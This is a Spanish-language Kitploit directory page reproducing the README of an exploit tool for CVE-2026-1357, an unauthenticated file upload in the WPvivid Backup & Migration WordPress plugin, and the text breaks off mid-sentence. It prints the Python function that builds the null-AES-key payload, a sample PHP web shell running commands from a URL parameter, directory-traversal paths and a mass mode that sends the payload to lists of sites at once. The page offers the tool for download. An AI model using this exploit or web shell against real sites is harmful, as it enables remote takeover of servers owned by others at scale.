Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-1357 — Migration, Backup, Staging <= 0.9.123 - Carga Arbitraria de Archivos sin Autenticación | Kitploit
Herramientas/GitHubGitHub/nxploited/cve-2026-1357
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed Teaming
GitHubnxploited/cve-2026-1357

CVE-2026-1357

Migration, Backup, Staging <= 0.9.123 - Carga Arbitraria de Archivos sin Autenticación

Ver Repositorio
19hace 6 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

🧨 CVE-2026-1357 – Herramienta de explotación de clave nula de WPvivid (CVE-2026-1357.py)

Migración, copia de seguridad, puesta en escena – WPvivid Backup & Migration ≤ 0.9.123
Vulnerabilidad: Carga arbitraria de archivos sin autenticación → Ejecución remota de código
CVE: CVE-2026-1357 – CVSS 9.8 (Crítico)

GitHub: https://github.com/Nxploited
Telegram: @KNxploited


🧬 Qué hace este script

Nxploited

CVE-2026-1357.py es una herramienta de explotación de prueba de concepto para la vulnerabilidad de WPvivid. Se centra en el defectuoso manejo de la sesión AES que permite a un atacante:

  1. Cifrar un payload con una clave/IV AES nula (todos los bytes en cero) en el mismo formato que WPvivid espera.
  2. Incrustar contenido de archivo arbitrario (por ejemplo, un shell PHP) y un nombre/ruta (name) elegido en el payload.
  3. Enviar este payload al endpoint de WPvivid mediante el parámetro wpvivid_action=send_to_site.
  4. (Opcionalmente) verificar si el archivo se escribió correctamente y es accesible.

El script no intenta adivinar ni abusar de las claves privadas directamente. En su lugar, simula el flujo roto de WPvivid donde una llamada fallida a openssl_private_decrypt() lleva a que el cifrado AES de phpseclib se inicialice con una clave nula.


🧠 Detalles técnicos

🔐 Payload con clave AES nula

El núcleo del exploit está en gen_wpvivid_payload():

  • Construye una estructura JSON:

    {
      "name": "<file_name>",
      "offset": 0,
      "data": "<base64(file_bytes)>",
      "file_size": <len(file_bytes)>,
      "md5": "<md5(file_bytes)>"
    }
    
  • Serializa este JSON (forma compacta, sin espacios).

  • Cifra el JSON usando:

    • AES-128-CBC
    • key = b"\x00" * 16
    • iv = b"\x00" * 16
  • Luego antepone:

    • 3 bytes: "000" (un marcador de campo de longitud estático).
    • 16 bytes en hexadecimal en mayúsculas: longitud del cifrado codificada como "{len(cipher):016X}".
  • El blob cifrado final es:

    "000" + <16-byte cipher length hex> + <raw AES-CBC ciphertext>
    
  • Este blob se codifica en base64 y se devuelve como el valor final de wpvivid_content.

Función:

def gen_wpvivid_payload(file_name: str, file_bytes: bytes) -> str:
    file_md5 = hashlib.md5(file_bytes).hexdigest()
    json_obj = {
        "name": file_name,
        "offset": 0,
        "data": base64.b64encode(file_bytes).decode(),
        "file_size": len(file_bytes),
        "md5": file_md5,
    }
    json_str = json.dumps(json_obj, separators=(",", ":")).encode()
    cipher = AES.new(NULL_KEY, AES.MODE_CBC, NULL_IV)
    encrypted = cipher.encrypt(pad(json_str, AES.block_size))
    key_len_field = b"000"
    cipherlen_field = f"{len(encrypted):016X}".encode()
    blob = key_len_field + cipherlen_field + encrypted
    return base64.b64encode(blob).decode()

Esto coincide con las expectativas de descifrado de WPvivid en la ruta de código vulnerable después del fallo del descifrado RSA.


🧰 Características y modos

El script tiene dos modos principales más una capacidad de prueba masiva:

  1. mood1 – Generador de payloads

    • Genera un valor wpvivid_content válido usando el truco de la clave nula.
    • Soporta múltiples formas de definir el contenido del archivo.
    • Opcionalmente lanza el Probador Masivo contra una lista de objetivos.
  2. mood2 – Probador de objetivo único

    • Usa un payload generado previamente.
    • Prueba un objetivo único de principio a fin:
      • Envía el payload.
      • Construye la URL esperada del archivo resultante.
      • Verifica si el archivo es accesible.
  3. Modo masivo (desde mood1)

    • Envía un payload elegido a múltiples objetivos desde un archivo de lista.
    • Usa concurrencia y una barra de progreso.
    • Realiza seguimiento y registra las subidas exitosas.

🚦 Ejecutar el script

python3 CVE-2026-1357.py

Verás una interfaz basada en Rich con un banner y selección de modo:

  • mood1 – Generador de payloads
  • mood2 – Probador de objetivo único

🧪 Modo: mood1 – Generador de payloads

Propósito

  • Crear un payload de exploit (wpvivid_content) que codifica:
    • La ruta/nombre de archivo que quieres que WPvivid escriba.
    • El contenido del archivo (shell, archivo de prueba, etc.).

Flujo

  1. Selección de modo

    Cuando se te solicite:

    Choose mode (mood1/mood2) [mood1]:
    

    Pulsa Enter (por defecto es mood1) o escribe mood1.

  2. Nombre de archivo / ruta de destino

    Se te preguntará:

    Target file name (e.g., Nx_.php or ../../public/Nx_.php):
    

    Ejemplos:

    • Para colocar un archivo en el directorio de copias de seguridad de WPvivid:

      Nx_.php
      
    • Para abusar del directory traversal (si el objetivo lo permite):

      ../../public_html/Nx_.php
      

    El valor va al campo name del payload JSON.

  3. Modo de entrada del contenido

    El script muestra tres formas de definir el contenido del archivo:

    • Modo 1: contenido de una sola línea.
    • Modo 2: contenido de varias líneas (termina con EOF).
    • Modo 3: leer desde un archivo local (por ejemplo, shell.php).

    Se te solicita:

    Mode [1/2/3] [1]:
    
    • Modo 1 – Una sola línea

      Single line content:
      

      Ejemplo de entrada:

      <?php phpinfo();
      
    • Modo 2 – Múltiples líneas

      Enter file content, line by line. Type 'EOF' on its own line when done.
      

      Puedes pegar o escribir un script PHP de varias líneas y terminar con EOF en su propia línea:

      <?php
      echo "Nxploited shell";
      system($_GET['cmd'] ?? 'id');
      ?>
      EOF
      
    • Modo 3 – Archivo local

      Local file path (e.g., shell.php):
      

      El script lee el archivo completo en file_bytes.

  4. Generación del payload

    Una vez capturado el contenido, el script:

    • Construye el objeto JSON.
    • Lo cifra con AES-CBC de clave nula.
    • Envuelve el blob binario.
    • Lo codifica en base64.

    Verás una salida como:

    Payload generated.
    Use the value after '=' as wpvivid_content.
    
    wpvivid_content=BASE64_BLOB_HERE
    

    Y se escribe un archivo wpvivid_payload.txt:

    file_name=Nx_.php
    wpvivid_content=BASE64_BLOB_HERE
    

Opcional: Modo masivo desde mood1

Después de generar el payload, el script pregunta:

Auto-send this payload to targets list (mass mode)? (y/N):

Si respondes y, se inicia el modo masivo con el payload y el nombre de archivo que acabas de crear.


🌐 Modo masivo – Múltiples objetivos

Propósito

  • Tomar un único payload de exploit y probarlo contra una lista de objetivos.

Flujo

  1. Archivo de objetivos

    Ejemplo de solicitud:

    Targets list file (one URL per line):
    

    Formato esperado del archivo (p. ej. targets.txt):

    https://site1.com
    site2.com
    http://site3.net
    

    El script normalizará automáticamente las URL base (añadiendo el esquema cuando falte).

  2. Número de hilos

    Threads (concurrent sites) [5]:
    

    Controla cuántos sitios se procesan en paralelo.

  3. Lógica por objetivo

    Para cada objetivo:

    • Normaliza la URL → base_url.

    • Llama:

      send_wpvivid_payload(base_url, payload)
      

      que:

Descargar herramienta